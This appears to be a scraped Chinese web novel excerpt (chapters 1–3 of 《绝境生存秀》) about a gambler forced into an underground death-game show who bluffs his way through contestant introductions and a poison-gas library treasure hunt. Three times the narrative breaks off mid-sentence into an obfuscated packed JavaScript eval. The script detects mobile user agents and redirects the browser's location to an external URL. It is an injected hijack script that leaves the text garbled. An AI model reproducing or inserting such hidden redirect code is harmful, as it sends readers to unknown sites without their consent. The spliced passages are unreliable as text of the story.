《绝境生存秀》 1. 新人秀(一) 星历68年,天穹市。 霓虹灯在夜幕下闪烁,高耸的摩天大楼与破旧的贫民窟比邻而立,这是星际联邦最繁华的城市之一,同时也是最鱼龙混杂的地方。 白焰从昏迷中醒来,眼前一片漆黑,什么也看不见。 耳边传来车轮摩擦地面的轰鸣声,以及身体随之颠簸晃动的感觉,显示他正处于一辆高速行驶的车上。 后脑勺传来阵阵钝痛,他下意识地去摸口袋里的小刀,却发现双手被铐住了。 他刚有所动作,就听见一阵沉重的脚步声,紧接着,头上的头套被人一把扯下,突如其来的光线令他不适应地眯起眼睛。 等到视线逐渐适应,他才看清四周的环境。 这是一辆货车的车厢,装上了几排座椅,改造成简易巴士,几个黑衣人坐在一边,身型魁梧,面容凶恶,看上去很不好对付。 他心中一沉,这些人正是昨晚在停车场围堵他的那群人。 为首的灰发男人似乎是个小头目,冷冷瞟了白焰一眼:“还记得你欠盛世集团的七千多万吗?” 白焰一脸无辜地摇头:“大哥,你们认错人了吧。” 灰发男人嗤笑:“错不了,你这张脸太招摇了。” 白焰一身毫无品味的打扮,衣服在打斗中扯破了,黑发凌乱地垂在额前,几乎遮住半张脸,乍一看很容易让人忽略他的存在。 但如果仔细观察,就会发现他有着模特一样引人注目的身材,五官更是英俊得惊人,先前那种不起眼的错觉,只不过是他刻意伪装出来的气质。 “既然想不起来,就帮他回忆一下。” 灰发男人说完,旁边的黑衣人立刻动手,抓住白焰的胳膊向后狠狠一拧。 白焰的脸顿时扭曲了,连忙嚎叫:“我想起来了!再给我一个月时间……不,半个月就行,我保证还清!” 其实他根本没想起来,他的债主太多了。 幸运轮娱乐场把他拉进了黑名单,星河赌坊也逼得很紧,扬言要再剁他一根手指,他的每一个信用账户都被银行冻结得干干净净,包括用假身份办的那些,还有十几个黑市借贷站轮番恐吓威胁。 可惜这些手段对他不起作用,他已经习惯了一边东躲西藏,一边想着新法子捞钱,然后继续挥金如土。 但是这群黑衣人极其难缠,和那些不入流的地痞无赖不同,一个个身手过人、训练有素。 听那灰发男人的意思,他们是盛世集团的人? 白焰对盛世集团这个名字没有太多印象,或许在催收函上见过几次,早就被他当成废纸扔进垃圾桶了,没想到对方一出手就是大动作。 “我们调查过你的资产状况,七千万,对你这种社会渣滓来说,就是活到下辈子都还不清。” 灰发男人说罢,冷笑了一声,甩过来一份合同:“不过没关系,我们老板给你找了个挣钱的路子,把这个签了。” 白焰拿起合同飞快地扫视着,目光落在其中一行字上,心跳几乎骤停。 ——豪赌游戏。 他脑海中嗡的一声,不可置信地抬起头:“你说挣钱的路子就是这个?我不签!” 他也曾有过辉煌的日子,将借来的本金翻到一个不可思议的金额,和这座城市最有钱的富商们坐在同一张赌桌上,不止一次听到关于豪赌游戏的只言片语。 这是一个保密性很强的地下真人秀节目,选手都是签了生死状的亡命之徒,只有站在财富和权力最顶端的人,才能获得观看节目的入场券。 下注的内容,则是选手的生死。 也难怪那些富商们提起豪赌游戏,总是一脸神秘又兴奋的神色,这可比普通的娱乐体验刺激得多。 只是当时的白焰怎么也没想到,自己有一天竟然会卷入其中。 灰发男人也不多话,拿出一把小刀,正是白焰先前藏在口袋的那一把。 他抓过白焰被手铐铐住的手,对着指尖一划,强迫他在合同上按下一个血红的手印。 白焰一边挣扎一边喊道:“你们这样是违法的!” “你欠钱不还,还有什么脸谈法律?”灰发男人语气轻蔑,“这是你这种废物最后的机会,既然你听说过豪赌游戏,就应该知道,为了钱自愿参加的人不在少数。我劝你还是省点力气,否则活不过第一场。” 其实他没指望白焰能听进去。他见过太多因为欠债被扔进游戏里的人,他们大多活得浑浑噩噩,心理素质极差,来到这里之后,由于无法接受现实,变得歇斯底里,精神几乎崩溃。 在这种弱肉强食的游戏里,如果没有足够的觉悟,时刻保持头脑清醒,往往是最早丧命的那一批。 然而让他意外的是,眼前的这个欠了七千万的家伙居然消停了,虽然表面上还是一副颓唐的模样,眼里却罕见地透着几分冷静。 白焰晃了晃手铐,重新拿起那份合同,仔细翻看着。 从他曾经听到那些富商的交谈中得知,豪赌游戏的参与者分为选手和观众,选手参加游戏,观众则对选手进行下注。 之前白焰对游戏的了解大多来自观众的视角,而这份合同则是与选手有关。 写在最前面的是一段免责协议,大致是选手承诺自愿参加游戏,主办方对一切可能产生的伤亡概不负责。 视线往下移,在纸张的醒目位置,赫然写着一行加粗的文字:每场游戏的存活率不超过百分之五十。 这数字看得白焰眼皮直跳,也就是说,每场游戏最多只有一半人能活下来!? 这哪里是什么游戏?简直就是玩命! 他深吸了一口气,稳住心神,继续往下看。 选手每参加一场游戏,都能获得一百万信用点的基础报酬,加上个人收到下注总额的百分之五作为分红,这是他们在游戏初期最主要的收入来源。 他在心中暗想,单从一场游戏的风险和回报来看,应该会有不少走投无路的人愿意铤而走险,寄希望于自己就是那百分之五十的幸运儿。 但是接着往下看,他意识到事情没那么简单,主办方显然考虑到这一点,对此设置了限制条件—— 选手一旦加入游戏,必须参与至少四场才能退出。 白焰暗骂这真是霸王条款,他速算了一下,每场游戏存活率50%,通过四场游戏活下来的概率就是6.25%,心中一下子凉了半截。 更糟糕的是,对他来说,通过四场游戏还不够,按照那帮王八蛋的说法,他必须还清七千万债务才能离开。 只靠每场游戏的一百万报酬,以及不确定的下注分红,想攒够这个数额,简直就是遥遥无期。 不过他并没有灰心丧气,而是很快振作起来。 当年他刚从孤儿院出来,身无分文,无依无靠,通过各种野路子,挣到了普通人一辈子也挣不到的财富,又因为穷奢极欲、赌性不改而挥霍一空。 一直以来他的人生就是这样,可以不费吹灰之力坐拥金山银山,也可以轻易地掉落万丈深渊,没什么大不了的。 何况他并不打算坐以待毙,乖乖听任游戏主办方摆布。 一直以来,想让他还钱或是抵命的人多得数不清,他还不是一次次从他们眼皮底下逃脱,好好地活到今天。 他不相信这个豪赌游戏毫无破绽,只要耐心等待,总会有可乘之机。 由于时间有限,白焰只来得及把合同潦草地看了一遍,货车突然一个急刹。 灰发男人走过来,重新给他带上头套,拖着他走出车厢。 尽管双眼看不到,通过走廊里空旷的风声判断,他们行走在一个巨大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124015|164300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的建筑物内部。 等到再次摘下头套,眼前竟然是一个单人化妆间。 灰发男人把他交给造型师,面对白焰疑惑的目光,言简意赅说道:“新人秀的流程。” 化妆间桌上摆着一堆瓶瓶罐罐,还有各种形状的刷子、粉扑,白焰看得心里直发怵。 平时他仗着自己长得好看,一向不修边幅,难以理解化妆这种把脸当成墙一样刷油漆的行为。 好在造型师没有在他脸上刷太多油漆,毕竟他这张脸已经很完美了。 在造型师的打理下,他原本乱糟糟的半长头发经过修剪,用发胶抓了个清爽利落的造型,凸显出锐利的轮廓和无可挑剔的五官,美得极其张扬。 也难怪他东躲西藏的时候要刻意丑化自己,因为只要稍微拾掇一下,他的样貌实在是太显眼了。 白焰耷拉着脑袋,像个玩偶似的任由造型师摆弄,都快要打瞌睡了。直到一件银灰色燕尾服递到他面前,他终于忍不住说道:“这也太浮夸了吧?” 造型师摊了摊手:“没办法,我们要满足金主的恶趣味。” 他仔细打量着自己的作品,满意地点了点头:“不过你穿成这样意外地很合适。就凭你这张脸,下注额不会少。” 大约傍晚时分,黑衣人领着白焰走进一个偌大的会场。 会场里站着一群年龄各异的男女,被戒备森严的安保严密监视着,显然也是这场游戏的选手。 白焰数了一下,一共有二十人。 这些选手和他一样盛装打扮,身穿材质精良的礼服,丝毫看不出即将参加一个死亡率百分之五十的可怕游戏,反而像是出席一场华丽的晚宴。 只是他们脸上大多是一副灰败瑟缩的神色,与光鲜的衣着形成强烈反差,充满了黑色幽默的意味。 其中一个骨瘦如柴的男人不停嚷嚷着要放他出去,看样子也是被抓来强制参加游戏的。他一张嘴,露出一口腐烂发黑的牙齿,是个瘾君子。 余下的人沉默地聚集在一起,只有少数几个还算镇定,更多人一脸愁云惨淡,眼神中流露出恐惧,活像一群拔了毛的斑鸠。 灯光唰的一下亮了起来,将整个会场照得光辉明亮。 数台摇臂摄像机在半空中交错运转,张牙舞爪地窥视着整个会场。 白焰对摄像头本能地感到排斥,后退一步站在阴影里。 会场中央是宽阔的舞台,用鲜花和绸缎装饰得不遗余力,娇艳的红玫瑰如血般盛放。 灯光照耀下,年轻貌美的主持人款步走上舞台。 白焰抬头望去,只见主持人是近年来红极一时的女明星曼妮,出场费极其高昂,广告代言都只接最高档的品牌。 这样一位红遍整个星际联邦的大牌明星,出现在豪赌游戏这样的场合,实在是令人啧啧称奇。 曼妮在荧幕上一直以端庄高雅的形象示人,此刻却穿着一件领口低到过分的连衣裙,胸前一对白兔呼之欲出。 她那件连衣裙的样式十分华丽,裙摆镶满了星星点点的碎钻,反射的光芒晃得人眼花。 连衣裙的胸口处,别着一枚闪闪发光的胸针,衬得她格外明艳动人。 白焰一眼就辨认出那枚胸针是纯金打造,雕刻十分精美,显然造价不菲。 他喜欢金子,喜欢闪闪发光的东西。几乎是不由自主地,他的目光那枚胸针上多停留了片刻。 “尊敬的各位观众,欢迎收看豪赌游戏第三十七届新人秀!” 曼妮开口了,音色甜美,语调极富感染力。 “在今天这场游戏中,谁会是可怜的失败者,被命运残忍无情地抹杀,谁又会脱颖而出,成为潜力无限的黑马?”伴随着激昂的音乐,她恰到好处地停顿了片刻,“请用铺天盖地的下注,给出你们的答案!” 2. 新人秀(二) 悬浮光幕在她身后缓缓升起,二十名选手的名字依次出现在光幕上。 名字后面一列是下注金额,目前所有数字都是零,代表下注还没有开始。 “按照惯例,让我们先熟悉一下这些陌生的新面孔。他们之中或许会产生一两位新星,在接下来的游戏里与你们再次见面。” 曼妮顿了顿,俏皮地眨了眨眼:“而对于另一些倒霉蛋来说,这将是他们的第一场也是最后一场游戏。” 白焰听着她话里的意思,是要向观众介绍他们这些新选手。 主办方的意图很明显,大费周章地请来造型师,把他们包装得人模狗样,再安排一个选手介绍环节,无非是为了吸引观众下注。 可以想象,观众的下注越多,主办方的抽成也就越多。 被喊到名字的选手依次走上台,接受主持人的采访。有几个由于太过紧张,支支吾吾连话都说不利索,自然无法获得任何下注,换句话说,就是无法为主办方带来收益。 因此曼妮也只是例行公事地问了几个问题,并不在他们身上浪费太多时间。 轮到那个瘾君子的时候,现场出了点小状况,他在台上试图袭击主持人,被麻醉枪放倒拖了下去。 曼妮像是对这样的场面见怪不怪,很有职业素养地打了个圆场,脸上依然笑靥如花。 下一个上台的选手叫刘丙焕,是个再普通不过的中年男人,他走路的姿态有些趔趄,肢体看上去一种莫名的扭曲感。 相比之前几个选手,刘丙焕显得平静许多,与其说是平静,不如说是一种绝望的麻木。 “刘先生,您为什么选择参加游戏呢?”曼妮问。 “我在裂隙区的采矿场工作了十多年,患上了蜡化症。”刘丙焕说。 蜡化症是一种由裂隙辐射引发的疾病,患者的骨骼会逐渐变得像蜡一样柔软,发展到最后,整个身体都会完全软化,彻底失去行动能力。 从刘丙焕目前的症状来看,他应该还处于早期阶段,只是走路姿势显得不协调,至少还能正常行动。 曼妮露出一个甜美的假笑:“刘先生,我很同情您的遭遇。您这也算是工伤,没有获得赔偿金吗?” “采矿场那种地方,合同都不会签,哪来的赔偿。”刘丙焕双目无神地喃喃道,“自从得了这个病,我丧失了劳动能力,家里的积蓄也掏空了。我不想再拖累家人,所以瞒着他们来到这里,哪怕只是一场游戏的报酬,也够他们过上好日子了。” 白焰心中有些唏嘘,听刘丙焕的口气,他参加游戏就没抱着活下去的打算。 按照合同上的条款,即使选手在游戏中死亡,所有收益也会照常发放到指定的账户上。 也就是说,即使刘丙焕死在第一场游戏里,他的家属也至少能拿到一百万的报酬。 他当然没有资格去同情刘丙焕,只是一瞬间反倒释然了。 他是个孤儿,没有家人没有朋友,活得像野草一样,一个人了无牵挂。 落到今天这种境地,完全是他自作自受,就算死在这里,也是恶人有恶报,没有什么值得遗憾的。 他抬眼看着光幕上的数字,刘丙焕的下注金额少得可怜,看来屏幕后的观众并没有被他悲惨的故事打动。 上台介绍的选手已然过半,目前遥遥领先的是一个叫彭虎的星际在逃犯,获得了三百多万下注。 彭虎长得五大三粗,像一头棕熊。他一开口就语出惊人,说自己杀了人,参加游戏是为了逃避治安局的追捕。 说话之间,他脸上横肉抖动,透着一股凶恶之气。 另一个是雇佣兵李默凛,他对主持人的提问惜字如金,被问到参加游戏的原因,也只回了简单的两个字——“缺钱”。 不过他的优势也很明显,一看就经过专业训练的结实身板,为他赢得了将近两百万下注。 白焰大致摸清了这些观众的审美,凄惨的人生经历毫无意义,不过是弱者临死前的墓志铭,他们反而更倾向于彭虎这样的罪犯,因为他在这场游戏中更容易活下来。 在弱肉强食的丛林法则下,正常社会的评判标准已然崩塌,残忍和邪恶变成了比善良更优秀的品质。 白焰需要钱,需要获得观众们更多的下注来获得分红,因此他需要一个值得下注的身份,一个比凶恶的罪犯和强壮的雇佣兵更有优势的身份。 他要让观众相信,他才是最有可能存活的选手。 与其说是选手,不如说是玩家,存活并不是他所追求的目标,而是顺理成章必然发生的结果。 他要向镜头背后这群傲慢的秃鹫贩卖一种信心,这不仅仅是他们观众的游戏,也是他的游戏,他无所畏惧,并且乐在其中。 尽管这种信心连他自己都没有。 贩卖一个本不存在的东西,应该叫作欺诈更为合适,但这就是他的天性,哪怕生命还有最后一天,他也依然想着骗取点什么东西。 悬浮光幕上出现了白焰的名字,他勾起嘴角,缓步走上台。 当他从阴影里走出来的那一刻,周身气质陡然一变,原本颓唐倦怠的气息消失不见,取而代之的是一种游刃有余的优雅和从容。 看到白焰的第一眼,曼妮着实惊讶了一下。 眼前这个男人的外形条件极其优越,即使放在娱乐圈也是凤毛麟角。 穿在其他人身上略显滑稽的礼服,他穿着像是从时尚杂志里走出来的模特,宽肩窄腰,身姿挺拔。 那张脸更是精致得过分,以至于显得有些轻浮,而他举手投足间的沉稳却又恰到好处地中和了这一点。 白焰走到曼妮面前,露出一个风度翩翩的笑容:“美丽的曼妮小姐,你比电视上看起来更加光彩照人。” 作为当红影星,曼妮对于这样的恭维早已习以为常,然而从一个外貌如此出挑的人嘴里说出来,这句简单的夸奖显得动听了许多。 她了解那些观众的喜好,也乐意给白焰这样有个人特色的选手制造一些话题和热度,于是顺势开了个玩笑:“让我来猜猜白焰先生的职业,不会是我的同行吧?” “我是一名特工。”白焰目光毫不躲闪地直视镜头,对曼妮微笑道,“不过,如果曼妮小姐愿意将我引荐给哪位导演,那将是我的荣幸。” 为了保证下注的公平性,主办方不会公开任何一名选手的资料,不仅观众不知道选手的真实身份,曼妮也不知道。 这样设计的巧妙之处在于,观众只能通过自我介绍环节了解新人选手。 这种了解不一定准确,反而留下更多想象的空间,增添了不确定性所带来的乐趣。 毫无疑问,特工这个身份是极具想象空间的,白焰这话刚说出口,他的个人下注额已经出现了零星增长。 曼妮圆滑地接过话头:“您要是想转行,哪还需要我引荐,早就被星探挖走了。不过我倒是很好奇,白先生作为特工,怎么会想到来参加我们的游戏呢?” “我来这里执行一项特殊任务。”白焰云淡风轻地说道,“你也知道,干我们这一行,任务内容都是保密的。” 此话一出,台下不少选手都朝他看去,他们参加游戏都是为了钱,听到这个理由都显得有些惊讶。 脸上一直没什么表情的李默凛也诧异地看了他一眼。 曼妮愣了一下,她主持了这么多届新人秀,从没听说过有人来这里执行任务。 起初白焰说自己特工,曼妮以为他在开玩笑,但是见他这副煞有介事的样子,她心里开始有些犯嘀咕。 她用余光看了一眼悬浮光幕,白焰的下注额飙升了许多,镜头后的观众显然也是同样的想法,都在猜测他到底是什么身份。 这种猜测恰恰最能勾起观众们下注的冲动,因为赌性的本质,就是在追逐一种未知和悬念。 尽管心中狐疑,作为主持人,曼妮并没有义务分辨选手的话是真是假。 她保持着招牌式的甜美假笑:“祝您任务成功。” 白焰伸出右手在空中虚地一抓,原本空无一物的手中,突然变戏法似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124016|164300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的出现了一朵红玫瑰。 他将玫瑰递给曼妮,笑眯眯地说:“承你吉言。” 曼妮很是配合,纤手轻掩朱唇,恰到好处地发出一声惊叹。 她甚至不用回头去看光幕,也能猜到白焰的下注金额正在迅速增长。 这只是一个简单的小魔术,但是在新人介绍环节,从来没有哪个新人有这样的闲情逸致。 他的举动那么自然,那么轻松随意,就好像在参加一个再普通不过的综艺节目。 她忽然意识到,白焰是一个天生的演员,懂得如何去调动气氛,展现自己,赢得观众的关注和支持,在游戏的语境下,也就意味着赢得更多的下注,如此说来,倒是和主办方给她设定的目标一致。 她接过玫瑰,忽然目光一顿,只见白焰的右手少了一根手指。 对一个外形完美的人来说,这样的瑕疵显得十分突兀。 曼妮混迹娱乐圈多年,深知从这些选手身上榨取什么样的东西才能满足观众。 她当然不会放过这个细节,于是摆出一副欲言又止的姿态:“白先生,冒昧地问一下,您的手……” “只是一次小小的工伤。”白焰丝毫不介意曼妮做作的窥探,大方地对着镜头伸出右手。 他脸上的表情自然极了,仿佛这是他完成一项危险而艰巨的任务后,留下的某种光荣的勋章。 贵宾厅里,巨幅光幕占了整整一面墙壁,屏幕上分出数个小画面,实时播送游戏的全过程。 一个面容苍白阴郁的男人倚在沙发上,一左一右坐着两个容姿昳丽、身材火辣的美女,面前是一个智能投注沙盘,将筹码扔进相应的格子,系统便会自动对注额进行计数。 男人晃着手中的酒杯,自己一口未尝,而是搂过身旁的美女,把酒杯凑在她唇边。 美女娇笑着一饮而尽:“谢谢辛总。” 辛霆是豪赌游戏最重要的客户之一,动辄上亿的赌金,准确率极高的押注,让他在观众的圈子里名声大噪,而他本人却十分低调神秘。 很多观众喜欢聚集在观赏大厅,除了津津乐道地谈论下注的方向和选手们的表现,更多是利用这个高端且私密的社交平台,达成生意上的合作。 而辛霆没有这样的习惯,他从未出现在观赏大厅里,也极少与其他观众接触。 辛霆盯着屏幕,此时摄影师正好给了白焰一个特写。 即使经过镜头的放大,那张俊美的脸庞也挑不出一丝瑕疵。 直播的画质很高,清晰地捕捉到他嘴角上扬的瞬间,那笑容十分自信,有一种穿透屏幕直击人心的力量。 顾问小薛也是一个面容姣好的美女,穿着干练的职业套装,勾勒出前凸后翘的身材曲线。 她揣摩着辛霆的脸色,热情提议道:“辛总,这一批新人素质不错,尤其是这个叫白焰的特工,看起来很有潜力,您说他会不会成为下一个庄蝶之?” 庄蝶之是为数不多完成四场游戏存活至今的老选手,曾经是货真价实的星际特工。 作为一个爱财如命的蛇蝎美人,她参加游戏的理由出奇地简单,就是这里来钱更快。去年她一出场,就凭借特殊的背景和惊艳的长相,创下了新人秀最高下注记录。 从这一点来看,白焰确实和庄蝶之很像,他的下注额也在飞快地增长,眼看就要超过目前位居第一的彭虎。 作为投资顾问,小薛特地研究过这些大客户的下注习惯。 她知道辛霆从新人秀开始就押注庄蝶之,并且成功地从这匹黑马身上大赚了几笔。 “这是个满口谎言的骗子。”辛霆意味不明地笑了一声。 小薛讶异地看向屏幕,试图从那张笑容自信的脸上看出一丝说谎的端倪。 只见白焰直视着镜头,一双桃花眼微微上挑。那副泰然自若的气质太过出众,如果说他只是个普通人,反倒让人不敢相信。 辛霆像是看穿了她心中所想,遥遥点了点屏幕:“他那根手指头,是在地下赌场出千被剁掉的。” 3. 新人秀(三) 这句话里的信息太过惊人,以至于小薛愣了几秒才反应过来。 她意识到自己推荐了错误的人选,连忙改口恭维:“还是辛总看人准。” “不是我看人准,而是当时我恰巧在他隔壁包厢。”辛霆懒洋洋地纠正她。 小薛表情有些尴尬,却见辛霆拿起一个筹码,丢进白焰的格子里,她小心翼翼地问:“您不是说他是骗子吗?” “这种时候还想着骗人,也算是勇气可嘉。”辛霆眯起眼,一向冷淡的嗓音里带了点愉悦,“这是豪赌游戏,让他这样的赌徒来玩,再合适不过了。” 辛霆扔下一枚筹码,白焰名字后面的数字立刻跳涨了一百万,达到了八百三十万。 白焰并不知道有人识破了他的真实身份,看着自己全场最高的下注额,他在心中盘算着,百分之五的下注分红就是四十万出头,加上一百万的基础报酬,一共也只有一百四十万。 这让他不免有些失望。 曾经他在赌场遇见的富商,一场普通的牌局都远远超过这个数字,一两百万仅仅是起手一个盲注。 不过对于观众来说,他们这些第一次参加游戏的新面孔,也就相当于没有翻开的未知底牌,确实很难吸引那帮精明的家伙下重注。 他强打起精神,当下最要紧的事,是在第一场游戏中活下来,否则再多的报酬都与他无关。 所有选手介绍完毕,曼妮开始介绍游戏规则。 “这次我们要玩一个寻宝游戏,规则很简单,每位选手将会拿到半张藏宝图碎片,两张相匹配的碎片拼接在一起,就能得到一张完整的藏宝图,上面记录着宝藏的位置。” “这些藏宝图有真有假。假的藏宝图无法找到任何宝藏,真的藏宝图可能找到一份宝藏,也可能找到两份。” “不过可以确定的是,宝藏总共有十份,也就是总人数的一半。” 白焰立刻联想到游戏百分之五十的存活率,正好与宝藏的数量对应上了。 这就意味着没有找到宝藏的人,将会以死亡的方式淘汰。 果然,曼妮接着说道:“游戏开始后,游戏场地将完全封闭,通风系统缓慢投放有毒气体,三个小时后达到致死浓度,而你们要寻找的宝藏就是解药。” “友情提示,随着气体的扩散,中毒反应会严重影响行动能力,所以请不要消极怠工哟!” 此话一出,不少选手脸色骤变。曼妮对这种气氛恍若未觉,笑容满面地说:“大家还有什么不理解的地方,可以现在提出来。” 一名选手立刻发问:“这里有二十个人,解药只有十份,那谁还愿意把自己的半张藏宝图给别人看?” “这就是游戏的乐趣所在。”曼妮不急不缓地说,“比如你们可以选择相互合作,说不定运气好,能找到两份宝藏。” “要是只有一份宝藏呢?”那名选手语气尖锐地问道。 “那就需要你们两人私下解决了。”曼妮意味深长地说。 她虽然没有明说,但所有人都心里清楚,如果只有一份宝藏,合作的两个人势必要争抢到头破血流。 而如果没有宝藏,便只剩下一条路了,就是抢夺别人的藏宝图或者宝藏。 本质上,这是一个淘汰别人、抢夺生存名额的游戏,说得直白一点,也就是自相残杀。 彭虎举起手,吊儿郎当地开口,捅破了这层窗户纸:“可以用暴力解决吗?” “我们给予选手充分的自由度,不限制用任何手段赢得游戏。”曼妮笑容甜美地说道。 选手们陷入一片诡异的寂静,很长时间没有一个人开口说话。 白焰最后发问:“如何分辨藏宝图的真假?” 曼妮回答:“没有办法分辨。找到一份还是两份宝藏,或者找不到宝藏,全凭你们的运气。” 黑衣人走上前,依次给每名选手分发藏宝图碎片。 白焰拿到手之后,极快地展开扫了一眼,只见做旧的褐色羊皮卷上,歪歪斜斜地用暗红色涂料写着L35,除此之外再无其他信息。 这和他想象中绘有地图的藏宝图不太一样。 他小心地收好羊皮卷,在黑衣人的押解下,与其他选手一同通过一道感应门。 进门后,映入眼帘的是一排排整齐的书架,摆满密密麻麻的浩瀚藏书。 这幢建筑竟然是一座庞大的图书馆。 方才鲜花遍布的舞台搭建在一楼的图书馆大厅里,而那道感应门,则是借阅区入口用来检测图书磁条的装置。 既然游戏场地是图书馆,那么藏匿宝藏的最佳地点,就是这成千上万的书籍之中。 想要在图书馆里找书,凭借的是索书号,藏宝图上的字母和数字就是这个含义。 白焰从手边的书架上拿出一本书,书脊上贴着褪色的蓝白标签。 这里的索书号由代表区域的字母加上六位数字构成,他藏宝图上的L35是前半部分,找到后四位数字拼起来,正好是一个完整的索书号。 不远处的墙壁上挂着指引标识,这座图书馆一共有四层楼,按字母划分为数十个区域,每个区域摆放着不同种类的书籍。 L区域位于三楼,对应文史类书籍。 他没有直接去L区,而是沿着消防楼梯走上二楼,随意找了一个靠近楼梯的区域,挨个查看书架侧面的标识贴。 看了一圈,他发现开头两位数字相同的图书足足有十多个书架,要想在三小时内找到其中的一本,几乎是不可能完成的任务。 原先他还以为拿到前半张藏宝图的人更占优势,至少可以知道宝藏的大概位置,大不了多花点时间,用死办法一本本去找。 但是现在看来,这条路似乎是走不通了。 再加上毒气这个不确定因素,如果时间拖得太久,很有可能连一半的书都没翻完,就已经丧失了行动能力。 不得不说,这个寻宝游戏设计得很公平,也很狡猾。 没有哪一方占据压倒性优势,也看不到投机取巧的捷径,想要找到宝藏,必须将两张藏宝图拼接起来。 而想要将藏宝图拼接起来,就不得不面临刚才那名选手提出的问题。 选手之间互相提防猜忌,谁都不愿意轻易拿出自己那份藏宝图碎片,因为如果只找到一份宝藏,必然会出现争抢厮杀的局面。 白焰正要往外走,突然看见一个熟悉的身影。 只见彭虎站在他对面的区域,中间相隔一道透明的玻璃墙,他那棕熊一样的体型太有辨识度,一眼就能认出来。 白焰止住脚步,在书架后面站定。 只见彭虎一边顺着那排书架往前走,一边不时看一眼侧面的标识贴,大约走过了十多排书架,突然泄愤似的往书架上踹了一脚。 彭虎不仅长得像熊,力气也像熊一样大,他这一脚踹上去,沉重的实木书架都轻微晃动了一下。 看来彭虎拿到的也是前半张藏宝图,之所以踹这么一脚,想必也是和白焰一样,意识到仅凭前半张藏宝图找书的方式行不通。 彭虎离开后,白焰等了一会儿,从书架后走出来,路过对面区域的时候,他偏头瞄了一眼,是摆放自然科学类书籍的G区。 他慢悠悠地走下楼,却见一楼发生了不小的骚乱,彭虎和另一个人正在激烈地争执着什么。 白焰感到有些奇怪,按照彭虎表现出来的暴脾气,一言不合应该直接动手才对。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124017|164300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他走过去一看,彭虎对面的人是李默凛,那个沉默寡言的雇佣兵。 李默凛长得人高马大,再加上雇佣兵的身份,彭虎对他还是有几分忌惮的。 两人旁边的地上,蜷缩着一个人,衣服上沾着血,脸被打得面目全非,白焰费了好大劲才认出来,是那个蜡化病患者,名叫刘丙焕。 白焰走近了,只见李默凛抓住彭虎的手臂,厉声道:“你干什么?” “我诚心诚意邀请他合作,这东西不识好歹,给他点教训。”彭虎甩开李默凛的手,活动了一下壮硕的臂膀,“难道你也不识好歹?” 李默凛不为所动,挡在彭虎和刘丙焕中间:“他得了蜡化病,你这样会把他打死的。” 蜡化病人的骨骼比常人脆弱,这就是为什么刘丙焕脸上挨了彭虎几拳,伤势显得格外严重,几乎看不出本来的模样。 彭虎斜眼看着李默凛,语气嚣张:“就算我打死他又怎样?反正他也活不长了,听说得蜡化病的人就像橡皮泥一样,一打就会变形,你别说,这手感还真不错,哈哈哈哈……” 李默凛冷冷盯着他:“欺负一个病人,算什么本事?” “我欺负他?”彭虎仿佛听到了天大的笑话,“我看你是没搞清楚状况,二十个人只能活十个,不是你死就是我活,你都沦落到这种地方了,还装什么正义使者啊?” 李默凛目光闪动了一下,却仍然没有让开的意思。 眼看两人僵持不下,周围有几个选手向这边张望,但都自发离得远远的,谁也不愿给自己惹上麻烦。 白焰眼珠子一转,心里有了主意。 他旁若无人地走到两人面前,一副老好人的样子:“大家好好说话,别伤了和气。” 彭虎正在气头上,眼见又来了一个找事的,顿时脸色更黑,正要发作。 白焰指了指地上缩成一团的刘丙焕,抢先说道:“他不和你合作,我和你合作。” 彭虎瞥了一眼白焰,依稀记得他自我介绍是个特工,虽然身高腿长,看起来挺唬人的,那张脸却瞧着不大对劲,长得跟明星似的,怎么看怎么像吃软饭的小白脸。 他摸不透这小白脸的实力,心里有些犯嘀咕。 但他转念又想到,藏宝图碎片是两两对应的,想要找到另一半碎片只能挨个尝试,现在有人主动找上门,他又何必拒绝呢? 彭虎只是略微犹豫,便从口袋里掏出藏宝图,从鼻孔里哼了一声:“算你识相。” “我是前半张藏宝图,你呢?”白焰说。 彭虎手中也是前半张藏宝图,听见这句话便没了兴趣,又把藏宝图放回口袋,没好气地说:“我和你一样,拼不了。滚吧,别碍我事。” 白焰观察着彭虎的动作,表面却不动声色。 这下他知道彭虎把藏宝图放在哪了。 他一反常态地絮叨起来,语气很是苦口婆心,仿佛真的在认真劝架一样:“好吧,那就没办法了。但是你俩千万别打起来,心平气和地坐下来,好好谈一谈,把误会和矛盾都解释清楚。暴力解决不了任何问题,只会让事情变得更糟。” 他说话不打草稿,中间连一点停顿都没有,就跟和尚念经一样,听得彭虎极为厌烦。 “滚!”彭虎骂道。 “好,好。”白焰举起手,摆出一副识趣的态度,“那我先不打扰你们了,你们慢慢聊。” 此时彭虎已经懒得再理白焰,以至于白焰路过彭虎身边的时候,彭虎连看都没看他一眼。 